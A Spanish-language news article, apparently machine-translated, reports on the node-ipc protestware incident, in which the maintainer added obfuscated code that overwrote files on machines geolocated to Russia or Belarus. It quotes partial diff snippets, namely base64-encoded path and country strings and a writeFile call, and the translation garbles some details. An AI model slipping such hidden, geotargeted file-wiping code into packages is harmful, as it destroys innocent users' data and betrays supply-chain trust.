Sabotaje: código agregado a los archivos borrados del popular paquete NPM en Rusia y Bielorrusia

Sabotaje: código agregado a los archivos borrados del popular paquete NPM en Rusia y Bielorrusia

imágenes falsas

El desarrollador de un popular paquete de código abierto ha sido sorprendido añadiéndole un código malicioso, lo que ha provocado la eliminación de archivos en ordenadores ubicados en Rusia y Bielorrusia. La medida fue parte de una protesta que enfureció a muchos usuarios y generó preocupaciones sobre la seguridad del software libre y de código abierto.

La aplicación, node.ipc, agrega comunicación remota entre procesos y capacidades de redes neuronales a otras bibliotecas de código fuente abierto. Como dependencia, node.ipc se descarga automáticamente y se incorpora a otras bibliotecas, incluidas algunas como Vue.js CLI, que tiene más de 1 millón de descargas semanales.

Un acto deliberado y peligroso.

Hace dos semanas, el autor de node.ipc lanzó una nueva versión de la biblioteca que saboteó computadoras en Rusia y Bielorrusia, los países que invadieron Ucrania y brindaron apoyo para la invasión, respectivamente. La nueva versión agregó una función que verificó la dirección IP de los desarrolladores que usaron node.ipc en sus propios proyectos. Cuando una dirección IP se geolocalizaba en Rusia o Bielorrusia, la nueva versión borraba los archivos de la máquina y los reemplazaba con un emoji de corazón.

Para ocultar la malicia, el autor de node.ipc, Brandon Nozaki Miller, codificó en base 64 los cambios para dificultar las cosas a los usuarios que querían inspeccionarlos visualmente para detectar problemas.

Esto es lo que vieron esos desarrolladores:

+      const n2 = Buffer.from("Li8=", "base64");
+      const o2 = Buffer.from("Li4v", "base64");
+      const r = Buffer.from("Li4vLi4v", "base64");
+      const f = Buffer.from("Lw==", "base64");
+      const c = Buffer.from("Y291bnRyeV9uYW1l", "base64");
+      const e = Buffer.from("cnVzc2lh", "base64");
+      const i = Buffer.from("YmVsYXJ1cw==", "base64");

Luego, estas líneas se pasaron a la función de temporizador, como:

+          h(n2.toString("utf8"));

Los valores para las cadenas Base64 fueron:

  • n2 se establece en: ./
  • o2 se establece en: ../
  • r se establece en: ../../
  • f se establece en: /

Cuando se pasó a la función de temporizador, las líneas se usaron como entradas para borrar archivos y reemplazarlos con el emoji del corazón.

+      try {
+        import_fs3.default.writeFile(i, c.toString("utf8"), function() {
+        });

“En este punto, ocurrirá un abuso muy claro y un incidente crítico de seguridad de la cadena de suministro para cualquier sistema en el que se invoque este paquete npm, si coincide con una geolocalización de Rusia o Bielorrusia”, escribió Liran Tal, investigador de Snyk, una empresa de seguridad que rastreaba los cambios y publicó sus hallazgos

el miércoles.

Tal descubrió que el autor de node.ipc mantiene otras 40 bibliotecas, y algunas o todas ellas también son dependencias de otros paquetes de código abierto. Refiriéndose al identificador del autor de node.ipc, Tal cuestionó la sabiduría de la protesta y sus posibles consecuencias para el ecosistema de código abierto en su conjunto.

“Incluso si el acto deliberado y peligroso del mantenedor RIAEvangelist fuera percibido por algunos como un acto legítimo de protesta, ¿cómo se refleja eso en la reputación futura del mantenedor y su participación en la comunidad de desarrolladores?”, Escribió Tal. “¿Se confiaría alguna vez en este mantenedor? nuevamente para no dar seguimiento a actos futuros en acciones tan agresivas o incluso más agresivas para cualquier proyecto en el que participen?

Se fue para siempre

RIAEvangelist también fue criticado en Twitter y en foros de código abierto. El nuevo lanzamiento de código malicioso, escribió una persona que afirmaba trabajar para una organización con sede en EE. UU. que operaba un servidor en Bielorrusia, “resultó en la ejecución de su código y el borrado de más de 30.000 mensajes y archivos que detallan los crímenes de guerra cometidos en Ucrania por el ejército ruso y funcionarios del gobierno”.

La persona que luego eliminó la publicación y la volvió a publicar. aquí, dijo que el propósito del servidor bielorruso era eludir la censura en ese país. El personal de la organización ya se había reducido desde que Rusia comenzó su invasión de Ucrania el 24 de febrero, dijo la persona, y por razones que no están claras, los mensajes de los soldados de primera línea y otros datos confidenciales probablemente desaparecieron para siempre.

“Personalmente, mis colegas y yo estamos absolutamente devastados”, escribió la persona. “Todo lo que puedo decir [is] que su pequeña travesura nos hizo más daño que Putin o Lukashenka. Profesionalmente, nuestro abogado sugirió presentar cargos penales a nivel federal, y es probable que procedamos de esta manera”.

Leave a Reply

Your email address will not be published. Required fields are marked *